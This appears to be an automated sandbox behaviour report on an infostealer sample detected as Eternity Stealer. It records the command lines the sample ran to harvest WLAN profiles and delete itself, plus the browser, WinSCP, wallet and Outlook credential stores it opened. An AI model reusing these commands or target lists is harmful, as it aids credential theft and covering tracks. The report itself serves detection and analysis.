Source: C:\Windows\System32\netsh.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mfc42u.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: odbc32.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshwfp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcmonitor.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpqec.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: qutil.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wshelper.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ws2help.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshhttp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: httpapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: authfwcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winipsec.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nci.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: devrtl.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netiohlp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: whhelper.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: hnetmon.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netshell.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rpcnsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3cfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3api.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: eappcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: onex.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: eappprxy.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: napmontr.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: certcli.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshipsec.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: polstore.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nettrace.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ndfapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wdi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: tdh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wcnnetsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wlanapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wlanutil.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: p2pnetsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: p2p.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: p2pcollab.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wwancfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wwapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wlancfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wlanhlp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: peerdistsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: winbrand.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: cryptbase.dll	Jump to behavior

Source: Stealer.exe, type: SAMPLE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.0.Stealer.exe.ad0000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 00000000.00000002.466413641.00000000021B1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: Process Memory Space: Stealer.exe PID: 2308, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions

Source: Stealer.exe, 00000000.00000002.466413641.00000000021B1000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: .csproj2

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@15/0@5/5

Source: C:\Users\user\Desktop\Stealer.exe	Mutant created: NULL
Source: C:\Users\user\Desktop\Stealer.exe	Mutant created: \Sessions\1\BaseNamedObjects\npbouttkra

Source: C:\Users\user\Desktop\Stealer.exe

File created: C:\Users\user\AppData\Local\Temp\tmpC8CC.tmp

Jump to behavior

Source: C:\Windows\System32\cmd.exe

Console Write: ...................J....................................@c.J..... ......0.-...............jw..............-.............f.................N.....

Jump to behavior

Source: Stealer.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Stealer.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Users\user\Desktop\Stealer.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor

Source: C:\Users\user\Desktop\Stealer.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Stealer.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\Stealer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Stealer.exe "C:\Users\user\Desktop\Stealer.exe"
Source: C:\Users\user\Desktop\Stealer.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr All
Source: C:\Users\user\Desktop\Stealer.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && DEL /F /S /Q /A "C:\Users\user\Desktop\Stealer.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 127.0.0.1
Source: C:\Users\user\Desktop\Stealer.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && DEL /F /S /Q /A "C:\Users\user\Desktop\Stealer.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr All	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 127.0.0.1	Jump to behavior

Source: C:\Users\user\Desktop\Stealer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\Stealer.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Stealer.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Stealer.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: Stealer.exe

Static PE information: 0x81805410 [Sat Nov 6 15:43:12 2038 UTC]

Source: C:\Users\user\Desktop\Stealer.exe	Code function: 0_2_000007FE93DA79CD push ebx; retf	0_2_000007FE93DA79DA
Source: C:\Users\user\Desktop\Stealer.exe	Code function: 0_2_000007FE93D9D980 pushad ; iretd	0_2_000007FE93D9D929
Source: C:\Users\user\Desktop\Stealer.exe	Code function: 0_2_000007FE93D800BD pushad ; iretd	0_2_000007FE93D800C1

Source: Stealer.exe, mQ.cs

High entropy of concatenated method names: '_003CPerformSelfDestruct_003Eb__1_0', '_003CPerformSelfDestruct_003Eb__1_1', '_003CPerformSelfDestruct_003Eb__1_2', 'HandleSelfDestruct', 'Iqvoaankwbsmkeovdsfoek', 'Iuvlwqesyazuazlxlvwmse', 'Idjirxbssjfcxsxjblftyf', 'Ipyirndbhzenzwaglixhwt', 'Icbxquhcchziremzkgwyky', 'Iwxcwnfbitkwelqzupxifu'

Persistence and Installation Behavior

Installs new ROOT certificates

Source: C:\Users\user\Desktop\Stealer.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Deletes itself after installation

Source: C:\Windows\System32\cmd.exe

File deleted: c:\users\user\desktop\stealer.exe

Jump to behavior

Self deletion via cmd or bat file

Source: C:\Users\user\Desktop\Stealer.exe	Process created: "C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && DEL /F /S /Q /A "C:\Users\user\Desktop\Stealer.exe"
Source: C:\Users\user\Desktop\Stealer.exe	Process created: "C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && DEL /F /S /Q /A "C:\Users\user\Desktop\Stealer.exe"			Jump to behavior

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49166 -> 9200
Source: unknown	Network traffic detected: HTTP traffic on port 9200 -> 49166
Source: unknown	Network traffic detected: HTTP traffic on port 9200 -> 49166

Source: C:\Users\user\Desktop\Stealer.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT

Jump to behavior

Source: C:\Users\user\Desktop\Stealer.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob

Jump to behavior

Source: C:\Users\user\Desktop\Stealer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)

Source: C:\Users\user\Desktop\Stealer.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Size FROM Win32_LogicalDisk WHERE DriveType = 3

Source: C:\Users\user\Desktop\Stealer.exe	Memory allocated: 2C0000 memory reserve \| memory write watch			Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Memory allocated: 1A1B0000 memory reserve \| memory write watch			Jump to behavior

Source: C:\Users\user\Desktop\Stealer.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Thread delayed: delay time: 600000			Jump to behavior

Source: C:\Users\user\Desktop\Stealer.exe	Window / User API: threadDelayed 493			Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Window / User API: threadDelayed 9341			Jump to behavior

Source: C:\Users\user\Desktop\Stealer.exe TID: 2692	Thread sleep time: -300000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe TID: 2648	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe TID: 2648	Thread sleep time: -3600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe TID: 2588	Thread sleep count: 493 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe TID: 2588	Thread sleep count: 9341 > 30	Jump to behavior
Source: C:\Windows\System32\netsh.exe TID: 2700	Thread sleep time: -60000s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\Stealer.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select TotalPhysicalMemory From Win32_ComputerSystem
Source: C:\Users\user\Desktop\Stealer.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select Model from Win32_ComputerSystem
Source: C:\Users\user\Desktop\Stealer.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select Manufacturer from Win32_ComputerSystem

Source: C:\Users\user\Desktop\Stealer.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor

Source: C:\Users\user\Desktop\Stealer.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Thread delayed: delay time: 600000			Jump to behavior

Source: C:\Users\user\Desktop\Stealer.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Stealer.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\Stealer.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\Stealer.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && DEL /F /S /Q /A "C:\Users\user\Desktop\Stealer.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr All	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 127.0.0.1	Jump to behavior

Source: C:\Users\user\Desktop\Stealer.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\Stealer.exe

Queries volume information: C:\Users\user\Desktop\Stealer.exe VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\Stealer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Uses netsh to modify the Windows network and firewall settings

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\netsh.exe netsh wlan show profile

Stealing of Sensitive Information

Yara detected Eternity Stealer

Source: Yara match	File source: Stealer.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Stealer.exe.ad0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.333992859.0000000000AD2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Stealer.exe PID: 2308, type: MEMORYSTR

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\Stealer.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core			Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Bitcoin\Bitcoin-Qt			Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\Stealer.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal WLAN passwords

Source: C:\Users\user\Desktop\Stealer.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Users\user\Desktop\Stealer.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile	Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Stealer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\key3.db	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\Stealer.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
